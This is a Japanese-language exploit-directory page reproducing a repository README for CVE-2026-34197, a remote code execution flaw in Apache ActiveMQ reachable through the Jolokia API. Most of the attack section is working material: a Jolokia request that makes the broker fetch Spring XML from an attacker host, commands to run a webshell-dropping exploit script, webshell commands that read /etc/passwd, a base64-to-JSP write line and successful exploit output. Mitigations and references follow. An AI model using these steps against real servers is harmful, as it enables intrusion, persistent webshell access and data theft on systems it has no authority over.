Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-34197 — Jolokia経由のApache ActiveMQ RCE脆弱性分析および再現ノート | Kitploit
ツール/GitHubGitHub/asdasddqwdq29-a11y/cve-2026-34197
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツール
GitHubasdasddqwdq29-a11y/cve-2026-34197

CVE-2026-34197

Jolokia経由のApache ActiveMQ RCE脆弱性分析および再現ノート

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-34197 - Apache ActiveMQにおけるJolokia経由のRCE

1. 概要

項目詳細
CVE IDCVE-2026-34197
CVSS8.8 (HIGH)
脆弱性の種類リモートコード実行 (RCE)
CWECWE-20 不適切な入力検証 / CWE-94 コードインジェクション
影響を受けるコンポーネントApache ActiveMQ Classic - Jolokia JMX-HTTP ブリッジ
影響を受けるバージョン< 5.19.4 および 6.0.0 ~ 6.2.2
修正済みバージョン5.19.4 / 6.2.3
開示日2026-04-07
認証デフォルトでは必須。通常は admin:admin。バージョン6.0.0~6.1.1では、CVE-2024-32114と連鎖することで認証なしで到達可能な場合あり。
発見Anthropic ClaudeによるAI支援研究として報告。約13年間存在した後。

2. 根本原因

2.1 攻撃チェーン

root@kitploit:~
攻撃者
  |
  |-- 1. POST /api/jolokia/
  |      BrokerService.addNetworkConnector(String) を呼び出す
  |      引数: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
  |
  v
ActiveMQ ブローカー
  |
  |-- 2. URI をパースする。vm://evil は存在しないため、ActiveMQ は動的にブローカーを作成しようとする。
  |      brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
  |
  |-- 3. xbean: プロトコルがHTTP経由でリモートのSpring XMLファイルをフェッチする。
  |
  |-- 4. ResourceXmlApplicationContext がXMLをパースし、ProcessBuilder ビーンをインスタンス化する。
  |      init-method="start" コマンドは、設定検証がURIを拒否する前に実行される。
  |
  `-- 5. リモートコード実行に到達。

2.2 主要条件

  1. Jolokia API の露出 - ActiveMQ Web コンソールが /api/jolokia/ を公開し、JMX-over-HTTP アクセスを提供する。
  2. 過度に広い MBean許可リスト - CVE-2022-41678 の修正で導入された許可リストは、addNetworkConnector を含む幅広い org.apache.activemq:* 操作を許可する。
  3. VMトランスポートのリモート設定 - vm:// トランスポートの brokerConfig パラメータがリモートのSpring XMLを指すことができ、設定が拒否される前にビーンのインスタンス化が行われる。

2.3 修正内容

ActiveMQ 6.2.3では、addNetworkConnector() 内に vm:// トランスポートURIを拒否する検証が追加された。

root@kitploit:~
"error": "VM scheme is not allowed"

3. 再現

3.1 環境

項目詳細
攻撃者ホストmacOS(OrbStack Docker使用)
ターゲットイメージalfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1)
実行ユーザーamq (uid=33031)
ベースOSRocky Linux 8.9

3.2 手順

ステップ 1: ラボを起動

root@kitploit:~
cd upstream-poc
docker compose up -d

ステップ 2: Jolokia API を確認

root@kitploit:~
curl -u admin:admin -H "Origin: http://localhost:8161" \
  http://localhost:8161/api/jolokia/

status: 200 の応答でJolokiaに到達可能であることが確認できる。

ステップ 3: エクスプロイトを実行し、Webshellを書き込む

root@kitploit:~
python3 exploit_webshell.py \
  -t http://localhost:8161 \
  --lhost <YOUR_IP> \
  --lport 9999

このスクリプトは以下のアクションを実行する。

  1. Jolokia API をチェック。
  2. ブローカー名を発見。
  3. 既存の NetworkConnector の NC を削除し、繰り返しテストを確実に行えるようにする。
  4. 悪意のあるSpring XMLペイロードを提供するローカルHTTPサーバーを起動する。JSP Webshellはbase64で埋め込まれているため、ターゲットはXMLを1回フェッチするだけでよい。
  5. addNetworkConnector リクエストを送信し、脆弱なコードパスをトリガーする。
  6. Webshellが正常に書き込まれたことを確認する。

ステップ 4: Webshell を使用

root@kitploit:~
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)

curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"

3.3 出力例

root@kitploit:~
===============================================================
  CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
  ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
  Target fetches one XML payload; JSP is written from inline base64
===============================================================

[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================

4. バージョン比較

5. エクスプロイトに関する注意点と制限

5.1 繰り返しのエクスプロイト

addNetworkConnector() は NC という名前のコネクタを登録する。2回目の登録はJMXの名前の競合により失敗し、500エラーを返す。スクリプトでは、エクスプロイトをトリガーする前に removeNetworkConnector("NC") を呼び出すことでこれを処理している。

5.2 Webshell の書き込み

ActiveMQは組み込みJettyを使用しているが、webappsディレクトリはディスク上に存在し、JSPエンジンは新しく書き込まれた .jsp ファイルをコンパイルする。そのため、テスト環境ではWebshellの書き込みが可能である。

ペイロードはインラインbase64を使用してJSPを書き込む。

root@kitploit:~
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp

利点:

  • JSPの特殊文字(<、>、%、" など)によるXMLパースの問題を回避。
  • ターゲットからのJSPダウンロードのための2回目のアウトバウンドリクエストを回避。ターゲットはXMLペイロードのみをフェッチする。

5.3 アウトバウンドネットワークの要件

ターゲットはSpring XMLペイロードをフェッチするために、攻撃者が制御するHTTPサーバーに到達可能である必要がある。ターゲットに攻撃者へのアウトバウンド経路がない場合、このエクスプロイトパスは完了できない。

5.4 Jolokia Origin チェック

CORSチェックにより、直接のJolokiaリクエストが403を返す場合がある。ターゲットに一致する Origin ヘッダを含めること。

root@kitploit:~
Origin: http://TARGET:8161

6. ファイル

root@kitploit:~
CVE-2026-34197/
|-- README.md                    # 本レポート
|-- exploit_webshell.py          # インラインbase64とランダムJSPファイル名を使用したワンショットWebshell書き込みツール
`-- upstream-poc/                # dinosn/CVE-2026-34197 からのファイルコピー
    |-- docker-compose.yml       # ActiveMQ 6.2.1 のラボ環境
    |-- exploit_poc.py           # serve/exploit/autoモードを持つ元のPoCスクリプト
    `-- serve_payload.py         # シンプルなペイロードHTTPサーバー

スクリプト比較

スクリプト目的アウトバウンド要件Webshell
exploit_poc.py任意のコマンドを実行する元のブラインドRCE PoC必須なし
exploit_webshell.py書き込まれたJSP Webshellを通じたワンショット反射型RCE

7. 緩和策

  1. アップグレード - ActiveMQ Classic 5.19.4+ または 6.2.3+ にアップグレードする。
  2. Jolokia アクセスの制限 - ファイアウォールルールまたはネットワークポリシーでポート8161へのアクセスを制限する。
  3. Jolokia の無効化 - リモートJMX管理が不要な場合は、jetty.xml でJolokia APIを無効化する。
  4. デフォルト資格情報の変更 - デフォルトの admin:admin 資格情報を置き換える。
  5. アウトバウンドアクセスの制限 - ActiveMQが信頼できない外部HTTPリソースに到達できないようにする。

8. 参考文献

  • Horizon3.ai 開示: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Apache セキュリティ勧告: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • 元のPoCリポジトリ: https://github.com/dinosn/CVE-2026-34197
ツールをダウンロード
バージョンイメージJolokia応答RCE
5.18.6apache/activemq-classic:5.18.6status: 200, value: NC成功 (uid=0(root))
6.2.1alfresco/alfresco-activemq:6.2.1status: 200, value: NC成功 (uid=33031(amq))
6.2.3alfresco/alfresco-activemq:6.2error: VM scheme is not allowed修正済み
XMLフェッチのみ必須
ランダムファイル名で自動書き込み